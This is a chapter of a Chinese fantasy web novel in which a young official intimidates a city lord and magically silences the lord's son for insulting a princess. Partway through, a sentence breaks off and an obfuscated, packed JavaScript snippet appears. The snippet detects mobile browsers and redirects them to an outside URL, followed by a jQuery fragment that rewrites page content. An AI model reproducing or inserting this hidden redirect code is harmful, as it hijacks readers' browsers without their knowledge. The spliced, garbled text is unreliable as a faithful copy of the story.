北宫长风的姿态简直称得上谦和,这完全出乎司徒典的预料。
听起来对方似乎当真没有将昨日那场冲突当一回事,于是他暗自在心里松了口气。
然而就在他准备拉着司徒颂起身时,又听见北宫长风问了一句:“昨日揽星河的一场竞拍不算什么,倒是昨晚城主府中的一场风波可平息了?”
这一问又惊出司徒典一身冷汗,才刚刚站起来的膝盖瞬间又软了。
他立马跪了回去。
擦了一把额上的冷汗,他俯下身哆哆嗦嗦地问:“这、这……下官愚钝,不知公子何意?”
北宫长风挑了挑眉,起身行至司徒典父子二人面前,反问道:“城主真不明白我所言何意?”
方才他不论说什么都是一副风轻云淡的语气,此刻骤然发问,却是极具压迫感,逼得司徒典将头垂得更低,一颗心慌慌张张地跳。
如今他也算是反应过来了,北宫长风看似是在询问他,实则是在敲打他。
昨晚城主府中发生的一切想必都没有逃过北宫长风的眼睛,包括吉丹妍在时归处闹了一番,又强行收走了钗子之事。
不然北宫长风无缘无故关心他城主府的事情做什么?
城主府里唯一与他有关的东西就是那一支青鸾钗子。
想通了这一点,司徒典顿觉汗流浃背,整个人匍匐在地,忙说道:“我知道您指的是什么事了,请公子放心,今天一早我家夫人就将钗子还给了公主。昨天府中的一场冲突不过是一个误会,昨儿晚上我已经训斥过夫人了。”
他又擦了一把脸上的汗,“其实平日里夫人脾气还是很好的,我们绝对没有苛待公主,绝对没有!”
司徒典的反应已算是很快了,北宫长风也就不再追究。
轻轻嗯了一声,他意有所指地道:“司徒城主言重了,公主身份特殊,这些年来在城主府有劳城主与夫人照顾。”
司徒典立刻便听出来了北宫长风的言外之意。
他抬头愕然道:“照顾公主本就是下官与夫人分内之事,不足挂齿。只是听公子此言,是否宫中对公主有所垂询?”
北宫长风坐回窗前,端起桌上茶盏细品了一口,缓缓说道:“京中近来颇有些旧事重提的迹象,不过朝中之事风云变幻,谁又能说得准呢。”
他这话说得模棱两可,司徒典却听得心里发虚。
为官这么多年,朝中这些人言语间的弯弯绕绕,他多少还是听得懂的。
只要没有明确表示否定,那就基本意味着肯定。
看样子国主终于想起来了这个留在重安城中的公主,极有可能要接她回京了。
想通了这一点,司徒典自然也就清楚该如何回话了。
他对着北宫长风再次恭恭敬敬地一拜,“不管公主是否回京,只要她在重安城一日,下官就一定照顾好她。”
他先是表态了一番,然后思索着捡一些对方喜欢的话听:“当然了,公主若能回去与陛下和娘娘团聚,那是最好不过的,届时下官一定好生相送。”
他这些话既揣度了北宫长风的心意,又不至于冒犯了对方,可以说是滴水不漏。
果然,北宫长风听罢此言微微一笑,眉眼间的阴郁之色换为了和煦的表情。
就在司徒典以为这场祸事被他扼杀在了摇篮里的时候,方才一直静默无言的司徒颂开口说话了:“表姐她才不会回京呢!”
“娘说过了,她要向宫里写信,求国主陛下把表姐赐给我当娘子的,怎么可能让她回京?”
“我不许她回京!”
方才父亲和北宫长风说了那样多的话,他一句都听不懂,再加上两人说话的语气一个恭敬一个和煦,他听不出来父亲的小心翼翼,也听不出来北宫长风的言外之意。
他只听懂了父亲的最后一句话,那就是要把时归送回去与她的父母团聚。
这是他绝对不允许发生的事情。
“娘亲说过,她生是我们司徒家的人,死是我们司徒家的鬼,父亲你怎么能把她送走!”
这时候司徒典想要捂司徒颂的嘴已经来不及了,他惊恐地抬起头,心如死灰地望向北宫长风的方向。
北宫长风不仅没有露出恼怒的表情,反而轻笑了一声,垂首注视着司徒颂,闲话家常般问了一句:“你娘亲还跟你说过什么?”
北宫长风的语气很轻,司徒颂没有从他身上感受到丝毫威胁,于是他觉得父亲之前都是骗他的。
眼前这个人根本就没有他说的那么可怕。
他无所畏惧地站起身来,恢复了平日里骄傲蛮横的姿态,“我告诉你,表姐从小和我一起长大,我们之间的感情可深了,根本不是你这个外人能插足的!你别以为送她一个破钗子有多了不起,她才不会多看你一眼,更不可能跟你一起回京城!”
司徒典想死的心都有了。
他见缝插针地向北宫长风求情:“犬子还小,他不懂事,求公子饶恕他无知之罪,求公子饶他一命!”
北宫长风将目光从司徒颂身上移开,扫了司徒典一眼,“城主言重了,我只是随便一问而已。”
他平静地对司徒颂道:“你继续说。”
“你的娘亲还说了些什么?”
司徒典绝望地将头磕在地上。
他知道这时候说什么都没用了,司徒颂今日是活是死,全看北宫长风心情而已。
却听司徒颂继续不要命地道:“再过两年我就要和表姐定亲,等她及笈我们就会成亲,到时候她就是我的夫人了。我娘说了,她是皇后娘娘的亲妹妹,只要她向宫中上书,国主就一定会把表姐赐给我!”
司徒颂见北宫长风一言不发,被自己如此挑衅也没露出恼怒的模样,还以为对方怕了自己。
当即双手叉腰,更加神气地教训起北宫长风来:“皇后娘娘的亲妹妹是什么意思,你懂吗?意思就是我们是皇亲国戚,你爹就算是再大的官儿也得给我们让路!”
“我爹是重安城主,这重安城里没有一样东西
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17241459|197755||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
不属于我,包括表姐……”
话还没有说完,他的声音便戛然而止。
只见北宫长风拂袖一挥,便将司徒颂隔空拎了起来。
“你方才说什么?”北宫长风微微偏了偏头,“再说一遍。”
司徒颂被一股无形的力量扼住了咽喉,悬于半空之中,连呼吸都十分困难,哪里还能说得出话来。
此刻他只能无力地蹬着腿,企图用这种笨拙的方法摆脱桎梏。
司徒典惊惧地注视着眼前这一幕。
虽然他没有被人扼住咽喉,但此刻的他同样一句话都说不出来。
只能跪在地上,不停地向北宫长风磕头请罪。
“司徒城主。”北宫长风的声音依旧称得上温和,语气也还算是和缓。
但在司徒典听来,这声音不啻于来自修罗地狱:“口出狂言折辱当朝公主,你可知按照天枢律法,此罪当如何处罚?”
司徒典吓得三魂丢了两魂。
侮辱当朝公主,此罪说大可大,说小也可小,端看他如何处置,是打算重重惩罚还是轻轻放过。
然而真正令人惊悚的还在后面,北宫长风接下来说的话更是吓得他魂飞天外:“恰好我新任天枢司律官兼监察使,遇触犯刑律者,有先斩后奏之权,如此便免了麻烦,不必押解候审了。”
什么叫有先斩后奏之权?
什么叫不必押解候审了?
北宫长风每说一句,司徒典的头就磕得比方才快一分。
进门之前他还对北宫长风存了一丝轻视之心,认为对方不过是个十几岁的孩子而已,就算身份再尊贵,也不过是因为他父亲的地位以及家族的荫蔽。
他原以为做个滚刀肉,用几句告罪的话就能将这个贵公子应付过去,谁成想他居然年纪轻轻就在朝中担任要职,还恰好司掌刑律典狱一事。
且这少年看似温润如玉,实则是个心狠手辣的主儿,通过方才的对话便能看出其心思之深难以揣摩,今日颂儿落到他的手里,只怕是在劫难逃。
方才的侥幸心理此刻荡然无存,告罪求饶的话也已说不出口,现在司徒典唯有放下城主的身份不住叩首,乞求北宫长风饶他的颂儿一命。
屋内一时变得寂静,只剩下司徒典咚咚的磕头声。
在北宫长风宣判司徒颂的命运前,每一分每一秒都显得如此漫长。
终于,在这冰冷的气氛之中,北宫长风缓缓开了口:“既然管不住自己这张嘴,那就永远闭上吧。”
话音落下的瞬间,他松开了手,紧接着两指并拢在空中一划。
随着他的动作,一道锋利的白光在司徒颂的脖间划过,下一秒司徒颂坠落在了地上,捂着自己的喉咙,再也发不出声音了。
司徒典慌忙爬过去,将司徒颂抱进自己怀里,虽然心中又惊又惧,既恼且恨,却终究还是保持着最后的理智,跪在地上朝北宫长风道了声谢:“多谢司律不杀之恩,今后下官一定好生管教犬子,不再让他惹事生非。”